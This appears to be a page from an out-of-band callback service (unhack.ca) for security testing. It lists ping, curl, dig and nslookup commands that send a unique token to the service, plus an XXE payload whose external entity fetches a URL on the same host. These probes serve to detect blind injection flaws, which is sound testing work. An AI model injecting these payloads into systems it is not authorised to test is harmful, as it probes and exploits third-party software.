$ ping -c1 -p 000b9aff188a19bfc629b62e8501ea00 unhack.ca
 
$ curl http://unhack.ca/p/0b9aff188a19bfc629b62e8501ea
 
$ dig 0b9aff188a19bfc629b62e8501ea @unhack.ca
 
$ dig 0b9aff188a19bfc629b62e8501ea.ns.unhack.ca
 
C:\> nslookup 0b9aff188a19bfc629b62e8501ea unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0b9aff188a19bfc629b62e8501ea">]>
    <foo>&xxe;</foo>
 
Waiting for ping...